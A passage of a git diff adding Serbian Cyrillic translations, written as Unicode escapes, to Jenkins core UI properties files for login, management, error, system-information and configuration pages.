\u0434\u0435\u0442\u0430\u0459\u043D\u0438\u0458\u0438 \u043E\u043F\u0438\u0441. +health-20to39=\u0417\u0434\u0440\u0430\u0432\u0459\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 \u0458\u0435 \u0438\u0437\u043C\u0435\u0452\u0443 20 \u0438 40%. \u041F\u0440\u0438\u0432\u0443\u0446\u0438\u0442\u0435 \u043C\u0438\u0448 \u043F\u0440\u0435\u043A\u043E \u045A\u0435\u043D\u0435 \u0438\u043A\u043E\u043D\u0438\u0446\u0435 \u0437\u0430 \u0434\u0435\u0442\u0430\u0459\u043D\u0438\u0458\u0438 \u043E\u043F\u0438\u0441. +health-40to59=\u0417\u0434\u0440\u0430\u0432\u0459\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 \u0458\u0435 \u0438\u0437\u043C\u0435\u0452\u0443 40 \u0438 60%. \u041F\u0440\u0438\u0432\u0443\u0446\u0438\u0442\u0435 \u043C\u0438\u0448 \u043F\u0440\u0435\u043A\u043E \u045A\u0435\u043D\u0435 \u0438\u043A\u043E\u043D\u0438\u0446\u0435 \u0437\u0430 \u0434\u0435\u0442\u0430\u0459\u043D\u0438\u0458\u0438 \u043E\u043F\u0438\u0441. +health-60to79=\u0417\u0434\u0440\u0430\u0432\u0459\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 \u0458\u0435 \u0438\u0437\u043C\u0435\u0452\u0443 60 \u0438 80%. \u041F\u0440\u0438\u0432\u0443\u0446\u0438\u0442\u0435 \u043C\u0438\u0448 \u043F\u0440\u0435\u043A\u043E \u045A\u0435\u043D\u0435 \u0438\u043A\u043E\u043D\u0438\u0446\u0435 \u0437\u0430 \u0434\u0435\u0442\u0430\u0459\u043D\u0438\u0458\u0438 \u043E\u043F\u0438\u0441. +health-80plus=\u0417\u0434\u0440\u0430\u0432\u0459\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 \u0458\u0435 \u043F\u0440\u0435\u043A\u043E 80%. \u041F\u0440\u0438\u0432\u0443\u0446\u0438\u0442\u0435 \u043C\u0438\u0448 \u043F\u0440\u0435\u043A\u043E \u045A\u0435\u043D\u0435 \u0438\u043A\u043E\u043D\u0438\u0446\u0435 \u0437\u0430 \u0434\u0435\u0442\u0430\u0459\u043D\u0438\u0458\u0438 \u043E\u043F\u0438\u0441. diff --git a/core/src/main/resources/jenkins/model/Jenkins/load-statistics_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/load-statistics_sr.properties new file mode 100644 index 0000000000..8c5dc1f569 --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/load-statistics_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Load\ Statistics=\u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043A\u0435 \u043E \u043E\u043F\u0442\u0435\u0440\u0435\u045B\u0435\u045A\u0443 diff --git a/core/src/main/resources/jenkins/model/Jenkins/loginError_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/loginError_sr.properties new file mode 100644 index 0000000000..611539ab03 --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/loginError_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +Invalid\ login\ information.\ Please\ try\ again.=\u041D\u0435\u0432\u0430\u0436\u0435\u045B\u0435 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0447\u043A\u043E \u0438\u043C\u0435 \u0438\u043B\u0438 \u043B\u043E\u0437\u0438\u043D\u043A\u0430. \u041F\u043E\u043A\u0443\u0448\u0430\u0458\u0442\u0435 \u043F\u043E\u043D\u043E\u0432\u043E. +Try\ again=\u041F\u043E\u043A\u0443\u0448\u0430\u0458\u0442\u0435 \u043E\u043F\u0435\u0442 +If\ you\ are\ a\ system\ administrator\ and\ suspect\ this\ to\ be\ a\ configuration\ problem,\ see\ the\ server\ console\ output\ for\ more\ details.=\u0410\u043A\u043E \u0441\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043C\u0441\u043A\u0438 \u0430\u0434\u043C\u0438\u043D\u0438\u0441\u0442\u0440\u0430\u0442\u043E\u0440 \u0438 \u043C\u0438\u0441\u043B\u0438\u0442\u0435 \u0434\u0430 \u0458\u0435 \u043F\u0440\u043E\u0431\u043B\u0435\u043C \u0432\u0435\u0437\u0430\u043D \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0443, \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0418\u0441\u0445\u043E\u0434 \u0438\u0437 \u043A\u043E\u043D\u0437\u043E\u043B\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430. +Login\ Error=\u0413\u0440\u0435\u0448\u043A\u0430 \u043E\u043A\u043E \u043F\u0440\u0438\u0458\u0430\u0432\u0435 diff --git a/core/src/main/resources/jenkins/model/Jenkins/login_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/login_sr.properties new file mode 100644 index 0000000000..b8805d268c --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/login_sr.properties @@ -0,0 +1,7 @@ +# This file is under the MIT License by authors + +User=\u041A\u043E\u0440\u0438\u0441\u043D\u0438\u043A +Password=\u041B\u043E\u0437\u0438\u043D\u043A\u0430 +Remember\ me\ on\ this\ computer=\u0417\u0430\u043F\u0430\u043C\u0442\u0438 \u043C\u0435 \u043D\u0430 \u043E\u0432\u043E\u043C \u0440\u0430\u0447\u0443\u043D\u0430\u0440\u0443 +login=\u041F\u0440\u0438\u0458\u0430\u0432\u0438 \u0441\u0435 +signUp=\u041D\u0430\u043F\u0440\u0430\u0432\u0438\u0442\u0435 \u043D\u0430\u043B\u043E\u0433 \u0430\u043A\u043E \u0432\u0435\u045B \u043D\u0438\u0441\u0442\u0435. diff --git a/core/src/main/resources/jenkins/model/Jenkins/manage_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/manage_sr.properties index 7a581e1d72..bfe93430db 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/manage_sr.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/manage_sr.properties @@ -1,4 +1,26 @@ # This file is under the MIT License by authors -Configure\ System=Konfiguri\u0161i Sistem -Manage\ Jenkins=Administriraj Jenkins +Configure\ System=\u041F\u043E\u0441\u0442\u0430\u0432\u0438 \u0441\u0438\u0441\u0442\u0435\u043C\u0441\u043A\u0430 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 +Manage\ Jenkins=\u0423\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 Jenkins-\u043E\u043C +are.you.sure={0}: \u0434\u0430\u043B\u0438 \u0441\u0442\u0435 \u0441\u0438\u0433\u0443\u0440\u043D\u0438? +Add,\ remove,\ control\ and\ monitor\ the\ various\ nodes\ that\ Jenkins\ runs\ jobs\ on.=\u0414\u043E\u0434\u0430\u0458\u0442\u0435, \u0443\u043A\u043B\u043E\u043D\u0438\u0442\u0435, \u0438 \u043D\u0430\u0434\u0436\u0438\u0440\u0430\u0432\u0430\u0458 \u043C\u0430\u0448\u0438\u043D\u0430\u043C\u0430 +Jenkins\ CLI=Jenkins \u0441\u0430 \u043A\u043E\u043C\u0430\u043D\u0434\u043D\u0435 \u043B\u0438\u043D\u0438\u0458\u0435 +Cancel\ Shutdown=\u041E\u0442\u043A\u0430\u0436\u0438 \u0433\u0430\u0448\u0435\u045A\u0435 +Useful\ when\ you\ modified\ config\ files\ directly\ on\ disk.=\u041A\u043E\u0440\u0438\u0441\u043D\u043E \u043A\u0430\u0434 \u0441\u0442\u0435 \u043F\u0440\u043E\u043C\u0435\u043D\u0438\u043B\u0438 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0434\u0438\u0440\u0435\u043A\u0442\u043D\u043E \u0441\u0430 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430\u043C\u0430. +System\ Log=\u0421\u0438\u0441\u0442\u0435\u043C\u0441\u043A\u0438 \u0436\u0443\u0440\u043D\u0430\u043B +System\ Information=\u0418\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0435 \u043E \u0441\u0438\u0441\u0442\u0435\u043C\u0443 +Reload\ Configuration\ from\ Disk=\u041F\u043E\u043D\u043E\u0432\u043E \u0443\u0447\u0438\u0442\u0430\u0458\u0442\u0435 \u043F\u043E\u0441\u0442\u0430\u0432\u043A\u0435 \u0441\u0430 \u0434\u0438\u0441\u043A\u0430. +Prepare\ for\ Shutdown=\u041F\u0440\u0438\u043F\u0440\u0435\u043C\u0438 \u0437\u0430 \u0433\u0430\u0448\u0435\u045A\u0435 +Manage\ Plugins=\u0423\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 \u043C\u043E\u0434\u0443\u043B\u0438\u043C\u0430 +Manage\ Nodes=\u0423\u0440\u0435\u0434\u0438 \u043C\u0430\u0448\u0438\u043D\u0435 +LoadStatisticsText=\u041F\u0440\u0435\u0433\u043B\u0435\u0434 \u0440\u0430\u0437\u043D\u0438\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u0430, \u0448\u0442\u043E \u0432\u0430\u043C \u043F\u043E\u043C\u043E\u0436\u0435 \u0434\u0430 \u043E\u0434\u0440\u0435\u0434\u0438\u0442\u0435 \u0430\u043A\u043E \u0458\u0435 \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E \u0432\u0438\u0448\u0435 \u043C\u0430\u0448\u0438\u043D\u0430. +Displays\ various\ environmental\ information\ to\ assist\ trouble-shooting.=\u041F\u0440\u0438\u043A\u0430\u0437\u0443\u0458\u0435 \u0440\u0430\u0437\u043D\u0443 \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0443 \u043E \u0441\u0438\u0441\u0442\u0435\u043C\u0443 \u0434\u0430 \u0431\u0443 \u043F\u043E\u043C\u0430\u0433\u0430\u043B\u043E \u0441\u0430 \u0440\u0435\u0448\u0430\u0432\u0430\u045A\u0435\u043C \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0438\u043C\u0430. +Load\ Statistics=\u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043A\u0435 \u043E \u043E\u043F\u0442\u0435\u0440\u0435\u045B\u0435\u045A\u0443 +Configure\ global\ settings\ and\ paths.=\u041F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0435 \u0433\u043B\u043E\u0431\u0430\u043B\u043D\u0438\u0445 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0440\u0430 \u0438 \u043F\u0443\u0442\u0435\u0432\u0430. +Discard\ all\ the\ loaded\ data\ in\ memory\ and\ reload\ everything\ from\ file\ system.=\u041E\u0434\u0431\u0430\u0446\u0438 \u0441\u0432\u0430 \u0443\u0447\u0438\u0442\u0430\u043D\u0435 \u043F\u043E\u0434\u0430\u0442\u043A\u0435 \u0443 \u043C\u0435\u043C\u043E\u0440\u0438\u0458\u0438 \u0438 \u043F\u043E\u043D\u043E\u0432\u043E \u0443\u0447\u0438\u0442\u0430\u0458 \u0441\u0430 \u0434\u0438\u0441\u043A\u0430. +JenkinsCliText=\u041F\u0440\u0438\u0441\u0442\u0443\u043F \u0438 \u0443\u043F\u0440\u0430\u0432\u0459\u0430\u045A\u0435 Jenkins \u0441\u0430 \u043A\u043E\u043D\u0437\u043E\u043B\u0435 \u0438\u043B\u0438 \u0441\u043A\u0440\u0438\u043F\u0442\u0430. +Executes\ arbitrary\ script\ for\ administration/trouble-shooting/diagnostics.=\u0418\u0437\u0432\u0440\u0448\u0430\u0432\u0430 \u0430\u0440\u0431\u0438\u0442\u0440\u0430\u0440\u043D\u0438 \u0441\u043A\u0438\u0440\u043F\u0442 \u0437\u0430 \u0430\u0434\u043C\u0438\u043D\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0458\u0443, \u0440\u0435\u0448\u0430\u0432\u0430\u045A\u0435 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0430, \u0438 \u0434\u0438\u0430\u0433\u043D\u043E\u0441\u0442\u0438\u043A\u0443. +Stops\ executing\ new\ builds,\ so\ that\ the\ system\ can\ be\ eventually\ shut\ down\ safely.=\u041F\u0440\u0435\u0441\u0442\u0430\u0458\u0435 \u043D\u043E\u0432\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0434\u0430 \u0431\u0438 \u043C\u043E\u0433\u0430\u043E \u0441\u0438\u0441\u0442\u0435\u043C \u0431\u0435\u0437\u0431\u0435\u0434\u043D\u043E \u0443\u0433\u0430\u0441\u0438\u0441\u0442\u0438. +Script\ Console=\u041A\u043E\u043D\u0437\u043E\u043B\u0430 +SystemLogText=\u0416\u0443\u0440\u043D\u0430\u043B \u0441\u0438\u0441\u0442\u0435\u043C\u0430 \u0437\u0430\u043F\u0438\u0441\u0443\u0458\u0435 \u0438\u0441\u0445\u043E\u0434 java.util.logging \u043A\u043E\u0458\u0438 \u0441\u0435 \u043E\u0434\u043D\u043E\u0441\u0438 \u043D\u0430 Jenkins. +Add,\ remove,\ disable\ or\ enable\ plugins\ that\ can\ extend\ the\ functionality\ of\ Jenkins.=\u0414\u043E\u0434\u0430\u0458\u0442\u0435, \u0443\u043A\u043B\u043E\u043D\u0438\u0442\u0435, \u0438\u043B\u0438 \u043E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0438\u0442\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u043A\u043E\u0458\u0435 \u043F\u0440\u043E\u0448\u0438\u0440\u0443\u0458\u0443 \u043C\u043E\u0433\u0443\u045B\u043D\u043E\u0441\u0442\u0435 Jenkins-\u0430. diff --git a/core/src/main/resources/jenkins/model/Jenkins/newView_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/newView_sr.properties new file mode 100644 index 0000000000..1a041652c8 --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/newView_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +New\ View=\u041D\u043E\u0432\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 +Copy\ Existing\ View=\u041A\u043E\u043F\u0438\u0440\u0430\u0458 \u043F\u043E\u0441\u0442\u043E\u0458\u0435\u045B\u0435\u0433 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 +View\ name=\u0418\u043C\u0435 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430 diff --git a/core/src/main/resources/jenkins/model/Jenkins/noPrincipal_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/noPrincipal_sr.properties new file mode 100644 index 0000000000..c112029bdf --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/noPrincipal_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +blurb=\u0412\u0435\u0431-\u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440 \u043D\u0438\u0458\u0435 \u043E\u0441\u043F\u043E\u0441\u043E\u0431\u0459\u0435\u043D \u0437\u0430 \u0430\u0443\u0442\u0435\u043D\u0442\u0438\u043A\u0430\u0446\u0438\u0458\u0443. \u041F\u0440\u043E\u0432\u0435\u0440\u0438\u0442\u0435 \u0434\u043E\u043A\u0443\u043C\u0435\u043D\u0442\u0430\u0446\u0438\u0458\u0443 \u0438 jenkins-users@googlegroups.com. diff --git a/core/src/main/resources/jenkins/model/Jenkins/oops_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/oops_sr.properties new file mode 100644 index 0000000000..e89619a689 --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/oops_sr.properties @@ -0,0 +1,14 @@ +# This file is under the MIT License by authors + +Jenkins\ project=Jenkins \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 +Bug\ tracker=\u0421\u0438\u0441\u0442\u0435\u043C \u0437\u0430 \u043F\u0440\u0430\u045B\u0435\u045A\u0435 \u0433\u0440\u0435\u0448\u0430\u043A\u0430 +Mailing\ Lists=Mailing \u043B\u0441\u0438\u0442\u0435 +Twitter\:\ @jenkinsci=Twitter: @jenkinsci +Oops\!=\u041F\u0440\u043E\u0431\u043B\u0435\u043C! +problemHappened=\u0414\u043E\u0448\u043B\u043E \u0458\u0435 \u0434\u043E \u0433\u0440\u0435\u0448\u043A\u0435 \u043F\u0440\u0438\u043B\u0438\u043A\u043E\u043C \u043E\u0431\u0440\u0430\u0434\u0435 \u0437\u0430\u0445\u0442\u0435\u0432\u0430. +checkJIRA=\u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043C \u0437\u0430 \u043F\u0440\u0430\u045B\u0435\u045A\u0435 \u0433\u0440\u0435\u0448\u0430\u043A\u0430 \u0434\u0430 \u043D\u0438\u0458\u0435 \u043D\u0435\u043A\u043E \u0432\u0435\u045B \u0434\u0430\u043E \u0438\u0437\u0432\u0435\u0448\u0442\u0430\u0458 \u043E \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0443. +vote=\u0410\u043A\u043E \u0432\u0435\u045B \u0438\u043C\u0430 \u0438\u0437\u0432\u0435\u0448\u0442\u0430\u0458\u0430, \u043C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441 \u0433\u043B\u0430\u0441\u0430\u0458\u0442\u0435 \u0438 \u043E\u0441\u0442\u0430\u0432\u0438\u0442\u0435 \u043A\u043E\u043C\u0435\u043D\u0442\u0430\u0440 \u0434\u0430 \u0431\u0438\u0445 \u043C\u043E\u0433\u043B\u0438 \u043F\u0440\u0430\u0442\u0438\u043B\u0438 \u0448\u0438\u0440\u0438\u043D\u0443 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0430. +pleaseReport=\u0410\u043A\u043E \u043C\u0438\u0441\u043B\u0438\u0442\u0435 \u0434\u0430 \u043D\u043E\u0432\u0438 \u043F\u0440\u043E\u0431\u043B\u0435\u043C, \u043C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441 \u043F\u043E\u0434\u043D\u0435\u0441\u0438\u0442\u0435 \u0438\u0437\u0432\u0435\u0448\u0442\u0430\u0438\u0458 \u043E \u045A\u0435\u043C\u0443. +stackTracePlease=\u041A\u0430\u0434 \u0434\u0430\u0458\u0435\u0442\u0435 \u0438\u0437\u0432\u0435\u0448\u0442\u0430\u0458, \u043C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441 \u043F\u0440\u043E\u0441\u043B\u0435\u0434\u0438\u0442\u0435 \u0446\u0435\u043B\u0443 \u0442\u0440\u0430\u0441\u0443 \u0441\u0442\u0435\u043A\u0430, \u0438 \u0432\u0435\u0440\u0437\u0438\u0458\u0435 Jenkins-\u0430 \u0438 \u0431\u0438\u0442\u043D\u0438\u0445 \u043C\u043E\u0434\u0443\u043B\u0430. +checkML=\u0421\u043F\u0438\u0441\u0430\u043A \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0430 \u043C\u043E\u0436\u0435 \u0432\u0430\u043C \u043F\u043E\u043C\u043E\u045B\u0438 \u0434\u0430 \u043D\u0430\u0452\u0435\u0442\u0435 \u0448\u0442\u0430 \u0441\u0435 \u0434\u043E\u0433\u043E\u0434\u0438\u043B\u043E. +Stack\ trace=\u0422\u0440\u0430\u0441\u0430 \u0441\u0442\u0435\u043A\u0443 diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_sr.properties new file mode 100644 index 0000000000..12a892d621 --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_sr.properties @@ -0,0 +1,10 @@ +# This file is under the MIT License by authors + +Title=\u0428\u0442\u0430 \u0458\u0435 "\u0432\u0435\u0437\u0430 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430"? +body=Jenkins \u043C\u043E\u0436\u0435 \u043F\u0440\u0430\u0442\u0438\u0442\u0438 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0435 \u043A\u043E\u0458\u0438 \u0437\u0430\u0432\u0438\u0441\u0435 \u0458\u0435\u0434\u0430\u043D \u043E\u0434 \u0434\u0440\u0443\u0433\u043E\u0433 \u043A\u043E\u0440\u0438\u0441\u0442\u0435\u045B\u0438 \u0434\u0438\u0433\u0438\u0442\u0430\u043B\u043D\u0438 \u043E\u0442\u0438\u0441\u0430\u043A. +For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met\:=\u0414\u0430 \u0431\u0438 \u0442\u043E \u0440\u0430\u0434\u0438\u043B\u043E, \u0442\u0440\u0435\u0431\u0430 \u043E\u0431\u0435\u0437\u0431\u0435\u0434\u0438\u0442\u0438: +The\ upstream\ project\ records\ the\ fingerprints\ of\ its\ build\ artifacts=Upstream \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u0447\u0443\u0432\u0430 \u043E\u0442\u0438\u0441\u043A\u0435 \u0441\u0432\u043E\u0458\u0438\u0445 \u0430\u0440\u0442\u0438\u0444\u0430\u043A\u0430\u0442\u0438 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435. +The\ downstream\ project\ records\ the\ fingerprints\ of\ the\ upstream\ files\ it\ uses=Downstream \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u0431\u0435\u043B\u0435\u0436\u0438 \u0434\u0438\u0433\u0438\u0442\u0430\u043B\u043D\u0435 \u043E\u0442\u0438\u0441\u043A\u0435 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u043E\u0434 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 \u043E\u0434 \u043A\u043E\u0433\u0430 \u0437\u0430\u0432\u0438\u0441\u0438. +This\ allows\ Jenkins\ to\ correlate\ two\ projects.=\u041E\u0432\u043E \u043E\u043C\u043E\u0433\u0443\u045B\u0430\u0432\u0430 Jenkins-\u0443 \u0434\u0430 \u0443\u0441\u0442\u0430\u043D\u043E\u0432\u0438 \u0432\u0435\u0437\u0443 \u0438\u0437\u043C\u0435\u0452\u0443 \u0434\u0432\u043E\u0458\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430. +For\ this\ feature\ to\ work,\ the\ following\ conditions\ need\ to\ be\ met=\u0414\u0430 \u0431\u0438 \u0442\u043E \u0440\u0430\u0434\u0438\u043B\u043E, \u043C\u043E\u0440\u0430\u0442\u0435 \u043E\u0431\u0435\u0437\u0431\u0435\u0434\u0438\u0442\u0438: +The\ downstream\ project\ records\ the\ fingerprints\ of\ the\ upstream\ jar\ files\ it\ uses=Downstream \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 \u0431\u0435\u043B\u0435\u0436\u0438 \u0434\u0438\u0433\u0438\u0442\u0430\u043B\u043D\u0435 \u043E\u0442\u0438\u0441\u043A\u0435 jar \u0430\u0440\u0445\u0438\u0432\u0435 \u043E\u0434 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0430 \u043E\u0434 \u043A\u043E\u0433\u0430 \u0437\u0430\u0432\u0438\u0441\u0438. diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship_sr.properties new file mode 100644 index 0000000000..7d01aa8e66 --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship_sr.properties @@ -0,0 +1,7 @@ +# This file is under the MIT License by authors + +upstream\ project=upstream \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 +downstream\ project=downstream \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442 +Compare=\u0423\u043F\u043E\u0440\u0435\u0434\u0438 +There\ are\ no\ fingerprint\ records\ that\ connect\ these\ two\ projects.= +Project\ Relationship=\u041E\u0434\u043D\u043E\u0441 \u043F\u0440\u043E\u0458\u0435\u043A\u0430\u0442\u0430 diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_sr.properties new file mode 100644 index 0000000000..4159d64565 --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_sr.properties @@ -0,0 +1,13 @@ +# This file is under the MIT License by authors + +System\ Information=\u0418\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0435 \u043E \u0441\u0438\u0441\u0442\u0435\u043C\u0443 +System\ Properties=\u0421\u0438\u0441\u0442\u0435\u043C\u0441\u043A\u0430 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 +Environment\ Variables=\u041F\u0440\u043E\u043C\u0435\u043D\u0459\u0438\u0432\u0435 \u0441\u0440\u0435\u0434\u0438\u043D\u0435 +Plugins=\u041C\u043E\u0434\u0443\u043B\u0435 +No\ plugins\ installed.=\u041D\u0435\u043C\u0430 \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0438\u0445 \u043C\u043E\u0434\u0443\u043B\u0430. +Name=\u0418\u043C\u0435 +Version=\u0412\u0435\u0440\u0437\u0438\u0458\u0430 +Enabled=\u041E\u043C\u043E\u0433\u0443\u045B\u0435\u043D\u043E +Pinned=\u0424\u0438\u043A\u0441\u0438\u0440\u0430\u043D\u0435 +Thread\ Dumps=\u0414\u0435\u043F\u043E\u043D\u0438\u0458a \u043D\u0438\u0442\u043E\u0432\u0430 +threadDump_blurb=\u041E\u0442\u0438\u0452\u0438\u0442\u0435 \u043D\u0430 \u043E\u0432\u0443 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0443 \u0434\u0430 \u0432\u0438\u0434\u0438\u0442\u0435 \u0434\u0435\u043F\u043E\u043D\u0438\u0458\u0435 \u043D\u0438\u0442\u043E\u0432\u0430 \u0433\u043B\u0430\u0432\u043D\u0438\u0445 \u0438 \u0430\u0433\u0435\u043D\u0442\u043D\u0438\u0445 \u043C\u0430\u0448\u0438\u043D\u0430. diff --git a/core/src/main/resources/jenkins/model/Jenkins/threadDump_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/threadDump_sr.properties new file mode 100644 index 0000000000..94dca418a9 --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/threadDump_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Thread\ dump=\u0414\u0435\u043F\u043E\u043D\u0438\u0458\u0430 \u043D\u0438\u0442\u043E\u0432\u0430 +Thread\ Dump=\u0414\u0435\u043F\u043E\u043D\u0438\u0458\u0430 \u043D\u0438\u0442\u043E\u0432\u0430 diff --git a/core/src/main/resources/jenkins/model/JenkinsLocationConfiguration/config_sr.properties b/core/src/main/resources/jenkins/model/JenkinsLocationConfiguration/config_sr.properties new file mode 100644 index 0000000000..4ce696abc8 --- /dev/null +++ b/core/src/main/resources/jenkins/model/JenkinsLocationConfiguration/config_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +System\ Admin\ e-mail\ address=\u0410\u0434\u0440\u0435\u0441\u0430 \u0435-\u043F\u043E\u0448\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043C\u0441\u043A\u043E\u0433 \u0430\u0434\u043C\u0438\u043D\u0438\u0441\u0442\u0440\u0430\u0442\u043E\u0440\u0430 +Jenkins\ URL=Jenkins URL-\u0430\u0434\u0440\u0435\u0441\u0430 +Sender\ E-mail\ Address=\u0410\u0434\u0440\u0435\u0441\u0430 \u0435-\u043F\u043E\u0448\u0442\u0435 \u043Fp\u043E\u0448\u0438\u0459\u0430\u043B\u0430\u0446a +Jenkins\ Location=Jenkins \u043B\u043E\u043A\u0430\u0446\u0438\u0458\u0430 \ No newline at end of file diff --git a/core/src/main/resources/jenkins/model/MasterBuildConfiguration/config_sr.properties b/core/src/main/resources/jenkins/model/MasterBuildConfiguration/config_sr.properties new file mode 100644 index 0000000000..57dfb3ee19 --- /dev/null +++ b/core/src/main/resources/jenkins/model/MasterBuildConfiguration/config_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Labels=\u041B\u0430\u0431\u0435\u043B\u0430 +\#\ of\ executors=\u0431\u0440\u043E\u0458 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435\u0459\u0430 \ No newline at end of file diff --git a/core/src/main/resources/jenkins/model/Messages_sr.properties b/core/src/main/resources/jenkins/model/Messages_sr.properties new file mode 100644 index 0000000000..0d1216dd91 --- /dev/null +++ b/core/src/main/resources/jenkins/model/Messages_sr.properties @@ -0,0 +1,42 @@ +# This file is under the MIT License by authors + +Hudson.BadPortNumber=\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u0430\u043D \u0431\u0440\u043E\u0458 \u043F\u043E\u0440\u0442\u0430: {0} +Hudson.Computer.Caption=\u041C\u0430\u0441\u0442\u0435\u0440 +Hudson.ControlCodeNotAllowed=\u041A\u043E\u043D\u0442\u0440\u043E\u043B\u0438 \u043A\u043E\u0434 \u043D\u0438\u0458\u0435 \u0434\u043E\u0437\u0432\u043E\u0459\u0435\u043D: {0} +Hudson.Computer.DisplayName=\u043C\u0430\u0441\u0442\u0435\u0440 +Hudson.DisplayName=Jenkins +Hudson.NoJavaInPath=java \u043A\u043E\u043C\u0430\u043D\u0434\u0430 \u0441\u0435 \u043D\u0435 \u043D\u0430\u043B\u0430\u0437\u0438 \u0443 \u0432\u0430\u0448\u043E\u0458 PATH \u043F\u0440\u043E\u043C\u0435\u043D\u0459\u0438\u0432\u0438. \u041C\u043E\u0436\u0434\u0430 \u0442\u0440\u0435\u0431\u0430\u0442\u0435 \u0434\u0430 \u043F\u043E\u0441\u0442\u0430\u0432\u0438\u0442\u0435 